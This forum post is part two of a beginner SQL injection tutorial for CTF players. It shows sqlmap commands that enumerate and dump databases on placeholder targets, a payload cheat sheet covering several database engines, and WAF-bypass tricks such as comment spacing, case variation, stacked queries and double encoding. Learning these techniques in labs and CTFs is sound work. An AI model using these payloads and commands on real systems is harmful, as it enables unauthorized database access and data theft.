SQL Injection for Beginners: From Quotes to CTFs part 2

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
790
Reaction score
1,510
SQLMap for Beginners: Automation after Manual Exploration

For beginners, sqlmap isn't the first tool in the chain, but the final one. It's run after manually confirming the injection. Mindlessly scanning all parameters generates noise, wastes time, and yields false positives. I've seen people at CTFs spend half an hour running sqlmap on all parameters when the injection was confined to a single cookie.

# Сканирование GET-параметра, перечисление БД
python sqlmap.py -u "http://target.ctf/page?id=1" --dbs

# POST-запрос (форма логина), повышенный уровень
python sqlmap.py -u "http://target.ctf/login" \
--data="username=admin&password=test" --level=3

# Дамп конкретной таблицы
python sqlmap.py -u "http://target.ctf/page?id=1" \
-D dbname -T users --dump

Key sqlmap flags to know:

-u— URL with a vulnerable parameter. sqlmap will detect the injection point automatically.
--data— the body of the POST request. Required for login forms.
--dbs— list all databases on the server.
--tables / --columns / --dump— progressive drill-down: tables → columns → data.
--level=3— At this level, sqlmap checks cookies and HTTP headers, not just GET/POST. This is a mandatory parameter for tasks involving cookie injection.
--risk=3— maximum risk level. Includes heavy payloads ( OR-based), which can change data. While this is acceptable on a CTF platform, it can cause problems in production.
--tamper— a payload modification script to bypass WAF. Popular: space2comment(spaces → /**/), charencode(URL encoding).
--batch— don't ask interactive questions, use defaults. Convenient for scripting.

Important: SQLMap is prohibited by the rules on many CTF platforms. Check the terms before using it. And most importantly, SQLMap is no substitute for understanding. If you can't explain what a UNION query does with information_schema, the tool won't work on a non-standard task with a custom WAF.
SQL injection cheat sheet for CTF tasks

A compact SQL injection cheat sheet with payloads for various DBMSs. The syntax varies by engine: MySQL (M), PostgreSQL (P), MSSQL (S), SQLite (L).
Technique Payload DBMS
One-line comment --(with a space after) M, P, S, L
MySQL-style comment # M
Block comment /* ... */ M, P, S, L
Bypassing authorization ' OR '1'='1'-- All
Bypass authorization (numeric) ' OR 1=1-- All
Determining the number of columns ' ORDER BY N-- All
UNION с NULL ' UNION SELECT NULL,NULL-- All
Current database database() (M), current_database() (P), DB_NAME() (S) Depends
DBMS version version() (M/P), @@version (S) Depends
String concatenation CONCAT(a,b) (M), a\|\|b (P/L), a+b (S) Depends
Hex escaping quotes 0x61646D696Einstead of 'admin' M, S
Delay (time-based) SLEEP(5) (M), pg_sleep(5) (P), WAITFOR DELAY '0:0:5' (S) Depends
Reading tables SELECT table_name FROM information_schema.tables M, P, S
Reading columns SELECT column_name FROM information_schema.columns WHERE table_name='X' M, P, S
Replacing spaces SELECT/**/password/**/FROM/**/users M, P, S, L

Here are a few filter bypass techniques that are regularly encountered in CTFs:

Replacing spaces with comments. According to the cheat sheet from Invicti, the construction SELECT/**/password/**/FROM/**/usersis executed correctly by most DBMS, but is not detected by simple WAF rules that look for standard SQL patterns.

Character case is blocked by WAF . UNION? Try it. UnIoN or uNiOn— The SQL parser is case-insensitive, and a primitive filter on the application side can check for an exact match.

Stacked queries. Semicolon ;ends one request and starts another: 1; SELECT password FROM users--Works with MSSQL and PostgreSQL. MySQL doesn't support stacked queries via the standard API by default. It's rare on CTFs, but when it does, it solves the problem instantly.

Double encoding. If the application decodes the URL once, and the WAF decodes it zero times, double encoding ( %2527instead of %27instead of ') allows you to pass the filter. Quotation mark in hex %27is re-encoded: % → %25, total %2527.

Analyzing CTF SQL injection problems is a skill that only develops with practice. The formula is clear on paper, but a real sense of the challenge emerges after solving a dozen problems. Testbeds like DVWA and SQLi-labs provide a controlled environment for practicing every technique—from error-based to blind.

SQL injections are often taught to beginners as a set of string substitutions: here's a list of payloads, insert them one by one until something works. But payload is a consequence. The cause is the concatenation of user input with an SQL query. Until you understand how a specific query looks on the server side, you won't be able to adapt the payload to a non-standard situation.

On CTF platforms, tasks of medium and high complexity are made more challenging by keyword filtering, nested queries, and custom WAF rules. SQLmap struggles with these types of tasks—it's designed for typical scenarios. The winner is the one who manually assembles the request in Burp Repeater, examines the response, adjusts the payload, and resubmits it. The process is slow, but it builds understanding that can then be transferred to real-world penetration tests and interviews.

One final piece of advice: don't memorize 50 payloads. Learn 5—but only to the point where you can explain every symbol. ' OR '1'='1'--— Why is there a single quotation mark at the beginning? Why? '1'in quotes, not just 1? Why --at the end, not #When you can answer these questions for MySQL, PostgreSQL, and MSSQL, you're ready for medium-complexity tasks. If you want to go beyond just analyzing other people's writeups and instead go through the entire attack chain from reconnaissance to exploitation yourself, WAPT covers this chain in two lab modules.
 
Top Bottom